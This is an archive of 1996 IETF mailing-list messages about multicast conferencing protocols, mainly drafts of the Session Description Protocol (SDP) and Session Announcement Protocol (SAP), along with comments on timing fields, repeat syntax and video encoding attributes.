Date: Wed, 13 Nov 1996 13:24:09 -0800
To: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
From: Bill Strahm <bstrahm@ibeam.jf.intel.com>
Subject: Re: RTSP Feedback Meeting 
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 07:57 PM 11/12/1996 -0800, you wrote:
>1.  We will be broadcasting this using RealAudio.  For details, see:
>    http://www.realaudio.com/prognet/rt
Any chance of multicasting this with VAT also(instead).  I don't think I can
get Real Audio through my companies firewall...  I would much prefer a
multicast VAT session announced with SDR instead.


Bill
Bill Strahm    |Programming today is a race between
bstrahm@       |software engineers striving to build
ibeam.intel.com|bigger and better idiot-proof programs,
(503) 264-4632 |and the Universe trying to produce
               |bigger and better idiots.  So far, the
               |Universe is winning.--Rich Cook
I am not speaking for Intel.  And Intel rarely speaks for me


From majordom@ISI.EDU  Wed Nov 13 06:13:05 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00155>; Wed, 13 Nov 1996 14:13:31 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00147>; Wed, 13 Nov 1996 14:13:30 -0800
Received: from panda.nttlabs.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA07790>; Wed, 13 Nov 1996 14:13:28 -0800
Received: by panda.nttlabs.com (8.8.2/3.5W(96/10/22))
	id OAA02110; Wed, 13 Nov 1996 14:13:05 -0800 (PST)
Date: Wed, 13 Nov 1996 14:13:05 -0800 (PST)
From: Richard Core <rich@nttlabs.com>
Message-Id: <199611132213.OAA02110@panda.nttlabs.com>
To: hoschka@w3.org
Subject: Re: RTSP Feedback Meeting
Cc: confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Me too... all day!
Rich
> From majordom@ISI.EDU Wed Nov 13 14:10 PST 1996
> To: Rob Lanphier <robla@prognet.com>
> Cc: confctrl@ISI.EDU
> From: Philipp Hoschka <hoschka@w3.org>
> Subject: Re: RTSP Feedback Meeting 
> Date: Wed, 13 Nov 1996 21:14:56 +0100
> 
> 
> 
> >1.  We will be broadcasting this using RealAudio.  For details, see:
> >    http://www.realaudio.com/prognet/rt
> 
> Unfortunately, I get a "bad URL" message in the RealAudio Player
> when trying to start the transmission :-(
> 
> ----------------------------------------------------------------------
>    Philipp Hoschka
>    WWW: http://www.inria.fr/rodeo/personnel/hoschka/hoschka.html 
> 				|   INRIA - WWW Consortium
>    hoschka@sophia.inria.fr      |   2004, Route des Lucioles, BP 93
>    Tel:(+33) 93 65 79 84        |   06902 Sophia Antipolis Cedex
>    Fax:(+33) 93 65 77 65        |   France
> ----------------------------------------------------------------------
> 

From majordom@ISI.EDU  Wed Nov 13 07:48:51 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07699>; Wed, 13 Nov 1996 15:49:10 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07693>; Wed, 13 Nov 1996 15:49:08 -0800
Received: from panda.nttlabs.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA13173>; Wed, 13 Nov 1996 15:49:02 -0800
Received: by panda.nttlabs.com (8.8.2/3.5W(96/10/22))
	id PAA02208; Wed, 13 Nov 1996 15:48:51 -0800 (PST)
Date: Wed, 13 Nov 1996 15:48:51 -0800 (PST)
From: Richard Core <rich@nttlabs.com>
Message-Id: <199611132348.PAA02208@panda.nttlabs.com>
To: robla@prognet.com, confctrl@ISI.EDU, bstrahm@ibeam.jf.intel.com
Subject: Re: RTSP Feedback Meeting
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> Date: Wed, 13 Nov 1996 13:24:09 -0800
> To: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
> From: Bill Strahm <bstrahm@ibeam.jf.intel.com>
> Subject: Re: RTSP Feedback Meeting 
> 
> At 07:57 PM 11/12/1996 -0800, you wrote:
> >1.  We will be broadcasting this using RealAudio.  For details, see:
> >    http://www.realaudio.com/prognet/rt
> Any chance of multicasting this with VAT also(instead).  I don't think I can
> get Real Audio through my companies firewall...  I would much prefer a
> multicast VAT session announced with SDR instead.
> 
> Bill
> 
Me too...!
Rich

From majordom@ISI.EDU  Thu Nov 14 10:56:24 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06487>; Thu, 14 Nov 1996 01:00:05 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06475>; Thu, 14 Nov 1996 00:59:54 -0800
Received: from ercole.cefriel.it by venera.isi.edu (5.65c/5.61+local-25)
	id <AA04595>; Thu, 14 Nov 1996 00:58:33 -0800
Received: from laguna (laguna [131.175.5.12]) by ercole.cefriel.it (8.7.5/8.7.3) with SMTP id JAA08715 for <confctrl@ISI.EDU>; Thu, 14 Nov 1996 09:56:24 +0100 (MET)
Message-Id: <328ADEB8.4CE9@mailer.cefriel.it>
Date: Thu, 14 Nov 1996 09:56:24 +0100
From: Daniele Rizzo <rizzo@ercole.cefriel.it>
Organization: CEFRIEL Milano
X-Mailer: Mozilla 3.01b1 (X11; I; SunOS 5.5 sun4m)
Mime-Version: 1.0
To: confctrl@ISI.EDU
Subject: Unsubsribe
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Please, unsubsribe me.
-- 
-----------------------------------  DDDDDD   JJJJJ  
- Rizzo Daniele                   -      D      J
- Politecnico di Milano           - DDDDD     JJJ
- CEFRIEL Milano                  - *****             *****
- rizzo@mailer.cefriel.it         - *   *   **  * ***    *         
- daniele@leoserver.cdc.polimi.it - ****   **** *  *    *     
----------------------------------- *   ** *  * *  *  *****

From majordom@ISI.EDU  Fri Nov 15 06:57:59 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11475>; Fri, 15 Nov 1996 09:00:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11468>; Fri, 15 Nov 1996 09:00:05 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA13320>; Fri, 15 Nov 1996 09:00:03 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id LAA05581 for confctrl@isi.edu; Fri, 15 Nov 1996 11:57:59 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Subject: MMUSIC session at the San Jose IETF
Date: Fri, 15 Nov 96 11:57:59 -0500
Message-Id: <18951.848077079@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


We just got word of the actual session times for the MMUSIC sessions
at the San Jose IETF (Transport Area WG's haven't been on the IETF
agendas circulated so far).

The MMUSIC sessions will be on Monday 9th at 13:00 and on Tuesday 10th
at 9:00.  Only the Monday session will be muilticast.

We're still formulating the details of the agenda - we'll circulate a
provisional agenda in the next week or so.

Mark



From majordom@ISI.EDU  Tue Nov 19 03:56:16 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08495>; Tue, 19 Nov 1996 05:56:24 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08489>; Tue, 19 Nov 1996 05:56:21 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA04724>; Tue, 19 Nov 1996 05:56:17 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id IAA18904; Tue, 19 Nov 1996 08:56:16 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Cc: mjh@isi.edu, valerie@precept.com
Subject: SDP draft draft-03
Date: Tue, 19 Nov 96 08:56:16 -0500
Message-Id: <19239.848411776@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I've been working on tidying up the SDP draft - I'm going to send this
to the i-d editor in a few days.  For now it's available as:
ftp://ftp.isi.edu/pub/isi-east/sdp.03.2.ps.gz

Basically not much has changed except wording since the -02 draft with
a few exceptions:

- I've tried to slightly modify the idea of permanent sessions to
  allow unbounded sessions with start-times.  Not having this capability
  seems to cause some people problems, but I'm not really clear whether
  my current wording helps here.  I've also tried to clarify what is
  meant by a permanent session.

- The key field has changed significantly as a result of a discussion
  with Peter Parnes so that we can convey mechanisms to obtain keys as
  an alternative to the keys themselves.  I don't think anyone uses this
  yet, so it shouldn't cause anyone grief.

- I've removed appendix B on the differnces between SDP and the sd
  protocol as this no-longer seems as relevant as it once did.


The rest of the changes are intended to remove ambiguities or to
correct small mistakes.  If there are any ambiguities or mistakes that
I've missed please do let me know.  Comments and suggestions are of
course welcome!

Mark

From majordom@ISI.EDU  Tue Nov 19 15:16:17 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00327>; Tue, 19 Nov 1996 17:16:34 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00302>; Tue, 19 Nov 1996 17:16:32 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA20031>; Tue, 19 Nov 1996 17:16:20 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id UAA23080; Tue, 19 Nov 1996 20:16:17 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Cc: mjh@isi.edu
Subject: New SAP draft draft-01.1
Date: Tue, 19 Nov 96 20:16:17 -0500
Message-Id: <23508.848452577@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


A new draft draft of the Session Announcement Protocol is now available from
  ftp://ftp.isi.edu/confctrl/docs/sap.01.1.ps.gz
(I've also copied the sdp.03.2 draft there too...)

Changes since the previous version are mostly centered around
encryption.  In particular:

- A 32 bit key-id field has been added to greatly reduce the processing power
  used to test new encrypted announcements to see if you can decrypt them.

- The P bit in the SAP header has gone.  It is authentication-mechanism 
  specific and should never have been in the SAP header.

- A new P bit has been carved out of the random field to indicate when the
  actual SDP payload has been padded for encryption.

- The SAP P bit is now replaced by a C (compression) bit to allow SDP
  payloads to be compressed.  I'm not completely convinced by this, but
  when we have authentication headers we get somewhat cramped for space
  in a 1K packet, so it seems like a reasonable idea.

- The multicast-address-test message type has been deleted due to
  overwhelming opposion to it at the Montreal IETF.

In Montreal, some people objected to what they described as
overloading of the authentication header to perform change
verification and also originating user authentication.  They have a
point, but we really don't seem to have space for more than one
authentication header, even with compressed payloads.

Also it was suggested that perhaps we should use an IPSEC
authentication header rather than putting one in SAP.  Unfortunately
this doesn't really work - to do change verification you need to be
able to *assume* that if you put an AH in the packet, receivers can (a)
know it's there, and (b) be able to decrypt it.  With IPSEC and IP4,
this isn't possible.  With IP6 we should be able to, but as IP4
multicast and IP6 multicast don't look like they're ever going to
interwork, we may be able to do things differently with an IP6 SAP.

So, for IP4 SAP I've left the Authentication Header in unchanged.

Most of SAP (with the exception of AH) is implemented in sdr 2.3a1 now
released.  Of course sdr 2.3a1 is broken on little-endian machines,
but that's another story :-)

Mark

From majordom@ISI.EDU  Wed Nov 20 02:28:01 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12229>; Wed, 20 Nov 1996 10:32:48 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12220>; Wed, 20 Nov 1996 10:32:47 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA28391>; Wed, 20 Nov 1996 10:32:45 -0800
Received: from socks.precept.com by precept.com (5.x/SMI-4.1)
	id AA01055; Wed, 20 Nov 1996 10:32:42 -0800
Message-Id: <2.2.32.19961120182801.006e50dc@pophost.precept.com>
X-Sender: valerie@pophost.precept.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 20 Nov 1996 10:28:01 -0800
To: mjh@isi.edu, confctrl@isi.edu
From: Valerie Lasker <valerie@precept.com>
Subject: comments on SDP draft-03
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Here are my comments on the latest draft SDP spec. Included are a few
trivial things that I just noticed for the first time.

For those of you that don't know me, Precept's IP/TV Program Guide product
is my implementation of SDP and SAP version 0.

4.1 Multicast Announcements
- says "sd clients", should say "SDP clients"
- says "The first eight bytes are the Session Announcement Protocol
header.", shouldn't give the (now possibly wrong) size of this header.

6. SDP Specification
- In the list of all type=value lines in a session description, you forgot
r= and z=.

5.2 Timing Information and 
6. Times, Repeat Times and Time Zones
- I don't understand the need to introduce: t=<start time> 0, for unbounded
sessions in addition to the t=0 0 form, which you now call permanent sessions.
Your email said you added this feature in response to requests. I'd like to
understand the need for this. My preference is to keep things as is.

- [for discussion]
Has anyone implemented/has plans to implement the same day of year/same day
of month form of repeats? I haven't and neither has Mark. If not required,
I'd like to propose simplifying the repeat syntax.

- [I'm curious]
Has anyone implemented the z= records for daylight savings time shifts? I
understand why this is necessary, but it is a bit complicated.

Suggested Attributes
- I believe I gave you text quite a while ago asking you to include the
following as suggested attributes, for video encoding:

a=framerate:<frame rate>
This gives the frame rate in frames/sec. It is intended as a recommendation
for the encoding of video data. It is a media attribute.

a=quality:<quality>
This gives the compression quality. For H.261, it is a number between 1 and
10. It is intended as as recommendation for the encoding of the video data.
It is a media attribute.

Other than the above, your draft looks good.
On to SAP.

-- Valerie



From majordom@ISI.EDU  Wed Nov 20 02:28:01 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12229>; Wed, 20 Nov 1996 10:32:48 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12220>; Wed, 20 Nov 1996 10:32:47 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA28391>; Wed, 20 Nov 1996 10:32:45 -0800
Received: from socks.precept.com by precept.com (5.x/SMI-4.1)
	id AA01055; Wed, 20 Nov 1996 10:32:42 -0800
Message-Id: <2.2.32.19961120182801.006e50dc@pophost.precept.com>
X-Sender: valerie@pophost.precept.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 20 Nov 1996 10:28:01 -0800
To: mjh@isi.edu, confctrl@isi.edu
From: Valerie Lasker <valerie@precept.com>
Subject: comments on SDP draft-03
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Here are my comments on the latest draft SDP spec. Included are a few
trivial things that I just noticed for the first time.

For those of you that don't know me, Precept's IP/TV Program Guide product
is my implementation of SDP and SAP version 0.

4.1 Multicast Announcements
- says "sd clients", should say "SDP clients"
- says "The first eight bytes are the Session Announcement Protocol
header.", shouldn't give the (now possibly wrong) size of this header.

6. SDP Specification
- In the list of all type=value lines in a session description, you forgot
r= and z=.

5.2 Timing Information and 
6. Times, Repeat Times and Time Zones
- I don't understand the need to introduce: t=<start time> 0, for unbounded
sessions in addition to the t=0 0 form, which you now call permanent sessions.
Your email said you added this feature in response to requests. I'd like to
understand the need for this. My preference is to keep things as is.

- [for discussion]
Has anyone implemented/has plans to implement the same day of year/same day
of month form of repeats? I haven't and neither has Mark. If not required,
I'd like to propose simplifying the repeat syntax.

- [I'm curious]
Has anyone implemented the z= records for daylight savings time shifts? I
understand why this is necessary, but it is a bit complicated.

Suggested Attributes
- I believe I gave you text quite a while ago asking you to include the
following as suggested attributes, for video encoding:

a=framerate:<frame rate>
This gives the frame rate in frames/sec. It is intended as a recommendation
for the encoding of video data. It is a media attribute.

a=quality:<quality>
This gives the compression quality. For H.261, it is a number between 1 and
10. It is intended as as recommendation for the encoding of the video data.
It is a media attribute.

Other than the above, your draft looks good.
On to SAP.

-- Valerie



From majordom@ISI.EDU  Wed Nov 20 14:24:25 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11372>; Wed, 20 Nov 1996 16:24:37 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11366>; Wed, 20 Nov 1996 16:24:34 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA22014>; Wed, 20 Nov 1996 16:24:27 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id TAA26865; Wed, 20 Nov 1996 19:24:25 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Valerie Lasker <valerie@precept.com>
Cc: confctrl@isi.edu
Subject: Re: comments on SDP draft-03 
In-Reply-To: Your message of "Wed, 20 Nov 96 10:28:01 PST."
             <2.2.32.19961120182801.006e50dc@pophost.precept.com> 
Date: Wed, 20 Nov 96 19:24:25 -0500
Message-Id: <25742.848535865@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Here are my comments on the latest draft SDP spec. Included are a few
>trivial things that I just noticed for the first time.

Many thanks for the comments!  I'll act on (almost) all of them.

>5.2 Timing Information and 
>6. Times, Repeat Times and Time Zones
>- I don't understand the need to introduce: t=<start time> 0, for unbounded
>sessions in addition to the t=0 0 form, which you now call permanent sessions.
>Your email said you added this feature in response to requests. I'd like to
>understand the need for this. My preference is to keep things as is.

The problem was to distinguish between genuine persistent background
sessions and sessions created on demand, but with unknown end time.
I want to discourage the use of permanent sessions for the latter, but
don't feel that setting a specific (arbitrary) end time is quite right
either.  What's in the draft right now is a slightly uneasy compromise.

>- [for discussion]
>Has anyone implemented/has plans to implement the same day of year/same day
>of month form of repeats? I haven't and neither has Mark. If not required,
>I'd like to propose simplifying the repeat syntax.

They're difficult to implement.  Unfortunately I have the strong
feeling that they're going to be required.  If everyone else doesn't
think so I'd love to remove them :-)

>- [I'm curious]
>Has anyone implemented the z= records for daylight savings time shifts? I
>understand why this is necessary, but it is a bit complicated.

Actually it's not complicated at all to code as a receiver.  Coding it
as a sender is not bad if you have suitable OS libraries that can tell
you the time a change should occur.  Without them, it's a nightmare,
but I can't think of any format that's any simpler, and almost
everything else is much worse to code for receivers.

>On to SAP.

:-)

Mark

From majordom@ISI.EDU  Thu Nov 21 07:54:22 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22462>; Thu, 21 Nov 1996 09:54:34 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22455>; Thu, 21 Nov 1996 09:54:33 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA29602>; Thu, 21 Nov 1996 09:54:31 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id MAA29587; Thu, 21 Nov 1996 12:54:22 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Valerie Lasker <valerie@precept.com>
Cc: confctrl@isi.edu
Subject: Re: comments on SDP draft-03 
In-Reply-To: Your message of "Wed, 20 Nov 96 10:28:01 PST."
             <2.2.32.19961120182801.006e50dc@pophost.precept.com> 
Date: Thu, 21 Nov 96 12:54:22 -0500
Message-Id: <29380.848598862@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Here are my comments on the latest draft SDP spec. Included are a few
>trivial things that I just noticed for the first time.

..

>6. SDP Specification
>- In the list of all type=value lines in a session description, you forgot
>r= and z=.

In adding these I noticed that according to the current spec, it is
legal to have no time field present.  This was not intentional, so
I've changed it so you must have at least one "t=" field.

>a=framerate:<frame rate>
>This gives the frame rate in frames/sec. It is intended as a recommendation
>for the encoding of video data. It is a media attribute.

Did you intend this to always be an integer, or are fractional values
allowed?  If fractional, we'd better state whether the alternative
notation of 3,1415 is allowed (as opposed to 3.1415).

I suggest the wording:

This gives the maximum frame rate in frames/sec.  It is intended as a
recommendation for the encoding of video data.  Decimal
representations of fractional values using the notation
"<integer>.<fraction>" are allowed.  It is a media attribute.

>a=quality:<quality>
>This gives the compression quality. For H.261, it is a number between 1 and
>10. It is intended as as recommendation for the encoding of the video data.
>It is a media attribute.

Is 1 or 10 intended to be best quality?

Do you intend to specify anywhere how this is to be mapped onto H.261
quantisers?  Personally I'd prefer to specify the largest quantiser
permissible as vic does (the app is always free to choose smaller
quantisers if it has sufficient bandwidth available)

Mark

From majordom@ISI.EDU  Thu Nov 21 07:20:12 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17030>; Thu, 21 Nov 1996 15:26:02 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17024>; Thu, 21 Nov 1996 15:25:56 -0800
Received: from proxy2.ba.best.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA18594>; Thu, 21 Nov 1996 15:25:55 -0800
Received: from mg136-110.ricochet.net (mg136-110.ricochet.net [204.179.136.110]) by proxy2.ba.best.com (8.8.3/8.7.3) with SMTP id PAA20914; Thu, 21 Nov 1996 15:20:12 -0800 (PST)
Date: Thu, 21 Nov 1996 15:20:12 -0800 (PST)
Message-Id: <1.5.4.16.19961121161057.0befdb1c@pop.best.com>
X-Sender: rsf@pop.best.com
X-Mailer: Windows Eudora Light Version 1.5.4 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Mark Handley<mjh@ISI.EDU>
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: comments on SDP draft-03 
Cc: Valerie Lasker <valerie@precept.com>, confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Some more comments/questions:

I notice that the "c=" field remains compulsory in the "session
description", and optional in each "media description".  However I vaguely
recall (from some previous IETF meeting) a discussion of whether "c="
could/should be removed from the "session description", and made compulsory
in each "media description" instead.  Was there any further discussion of
this?  This would seem to be a bit more logical.  It would also make more
sense for the case of 'info-only' announcements that contain no media
descriptions at all.  (Right now, these announcements contain a dummy,
unused "c=" field.)

>>Has anyone implemented/has plans to implement the same day of year/same day
>>of month form of repeats? I haven't and neither has Mark. If not required,
>>I'd like to propose simplifying the repeat syntax.
>
>They're difficult to implement.  Unfortunately I have the strong
>feeling that they're going to be required.  If everyone else doesn't
>think so I'd love to remove them :-)

I'm not thrilled about these either, but like Mark, I suspect that people
are going to want them.  However, it occurred to me recently that the
specification, as it currently stands, is ambiguous, because for events that
occur near month boundaries, it's not always clear exactly what "same day of
the month" is really intended.

Example: Suppose that we receive a description that specifies:
        start time: March 1, 1997 3am UTC,
        repeated "same day of the month, each month"

Unfortunately, it's not clear from this what "same day of the month" the
creator really intended.  For instance, if I created the announcement here
in California (8 hours behind UTC), then I probably meant "the 28th of each
month" (my time; the next day in UTC).  But if the creator was in the UK,
then he probably meant "the 1st of each month".

There's also the issue about what to do about the fact that not every month
has a "31st"...

Unless we can sort these problems out, it might be better to omit the "Y"
and "M" options for repeating events, at least for now.  After all, if we
head down this slope, how far should we go?  Should we also have a way to
specify things like "the first Monday of each month"?  For now it might be
best to wait to see what the IETF "calendar scheduling" working group comes
up with, with the intention of incorporating that (or something isomorphic)
in a future version of SDP.

>>- [I'm curious]
>>Has anyone implemented the z= records for daylight savings time shifts? I
>>understand why this is necessary, but it is a bit complicated.
>
>Actually it's not complicated at all to code as a receiver.  Coding it
>as a sender is not bad if you have suitable OS libraries that can tell
>you the time a change should occur.  Without them, it's a nightmare,
>but I can't think of any format that's any simpler, and almost
>everything else is much worse to code for receivers.

Yes, I agree.  I used to hate this, until I realized that I couldn't see a
better solution myself :-)  Recently I've been beating on the IETF "calendar
scheduling" WG to make them aware of this issue (& solution).  (I seem to be
making headway, although there are still a couple of holdouts :-)

        Ross.


From majordom@ISI.EDU  Thu Nov 21 17:52:41 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14522>; Thu, 21 Nov 1996 19:57:22 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14516>; Thu, 21 Nov 1996 19:57:20 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA09495>; Thu, 21 Nov 1996 19:57:18 -0800
Received: from socks.precept.com by precept.com (5.x/SMI-4.1)
	id AA05386; Thu, 21 Nov 1996 19:57:17 -0800
Message-Id: <2.2.32.19961121215241.006ddf9c@pophost.precept.com>
X-Sender: valerie@pophost.precept.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 21 Nov 1996 19:52:41 -0200
To: Mark Handley<mjh@isi.edu>
From: Valerie Lasker <valerie@precept.com>
Subject: Re: comments on SDP draft-03 
Cc: confctrl@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:54 PM 11/21/96 -0500, Mark Handley wrote:
>>a=framerate:<frame rate>
>>This gives the frame rate in frames/sec. It is intended as a recommendation
>>for the encoding of video data. It is a media attribute.
>
>Did you intend this to always be an integer, or are fractional values
>allowed?  If fractional, we'd better state whether the alternative
>notation of 3,1415 is allowed (as opposed to 3.1415).
>
>I suggest the wording:
>
>This gives the maximum frame rate in frames/sec.  It is intended as a
>recommendation for the encoding of video data.  Decimal
>representations of fractional values using the notation
>"<integer>.<fraction>" are allowed.  It is a media attribute.

Yes, fractional values do make sense. So does your wording.

>
>>a=quality:<quality>
>>This gives the compression quality. For H.261, it is a number between 1 and
>>10. It is intended as as recommendation for the encoding of the video data.
>>It is a media attribute.
>
>Is 1 or 10 intended to be best quality?
10 is.
>
>Do you intend to specify anywhere how this is to be mapped onto H.261
>quantisers? Personally I'd prefer to specify the largest quantiser
>permissible as vic does (the app is always free to choose smaller
>quantisers if it has sufficient bandwidth available)

Yes, our implementation does dynamically quantization.

I didn't realize, but do now, that we map 1-10 to H.261's 31-1.

I do still think it makes sense to have an attribute that everyone can use
for compression quality, but it needs to be codec and implementation
specific. How about something like:

a=quality:<quality>
This can be used to provide information about compression quality to the
video codec. It is a media attribute.
>
>Mark
>
>

-- Valerie


From majordom@ISI.EDU  Fri Nov 22 03:13:33 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04671>; Fri, 22 Nov 1996 05:13:40 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04664>; Fri, 22 Nov 1996 05:13:38 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26269>; Fri, 22 Nov 1996 05:13:37 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id IAA32308; Fri, 22 Nov 1996 08:13:33 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Ross Finlayson <finlayson@lvn.com>
Cc: Valerie Lasker <valerie@precept.com>, confctrl@ISI.EDU
Subject: Re: comments on SDP draft-03 
In-Reply-To: Your message of "Thu, 21 Nov 96 15:20:12 PST."
             <1.5.4.16.19961121161057.0befdb1c@pop.best.com> 
Date: Fri, 22 Nov 96 08:13:33 -0500
Message-Id: <484.848668413@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Some more comments/questions:
>
>I notice that the "c=" field remains compulsory in the "session
>description", and optional in each "media description".  However I vaguely
>recall (from some previous IETF meeting) a discussion of whether "c="
>could/should be removed from the "session description", and made compulsory
>in each "media description" instead.  Was there any further discussion of
>this?  This would seem to be a bit more logical.  It would also make more
>sense for the case of 'info-only' announcements that contain no media
>descriptions at all.  (Right now, these announcements contain a dummy,
>unused "c=" field.)

An alternative I prefer is to make the session-level "c" field
optional, but that if it did not appear, then media-level "c" fields
are compulsory.  If there is a session-level "c" field, media-level "c"
fields are optional.  I.e, you need one or the other...

Partly I prefer this because it won't break sdr :-), but also because
it's pretty natural from the media-inherit-properties-from-session way
sdr works.

>>>Has anyone implemented/has plans to implement the same day of year/same day
>>>of month form of repeats?
...
>However, it occurred to me recently that the
>specification, as it currently stands, is ambiguous, because for events that
>occur near month boundaries, it's not always clear exactly what "same day of
>the month" is really intended.
>
>Example: Suppose that we receive a description that specifies:
>        start time: March 1, 1997 3am UTC,
>        repeated "same day of the month, each month"
>
>Unfortunately, it's not clear from this what "same day of the month" the
>creator really intended.  For instance, if I created the announcement here
>in California (8 hours behind UTC), then I probably meant "the 28th of each
>month" (my time; the next day in UTC).  But if the creator was in the UK,
>then he probably meant "the 1st of each month".

Very good point.  You'd also need to specify an offset from UTC to
make this unambiguous.  Alternatively you could specify the start time
as being a day later and use a negative offset of one day, which
achieves the same purpose with no extra fields.  Both are icky.

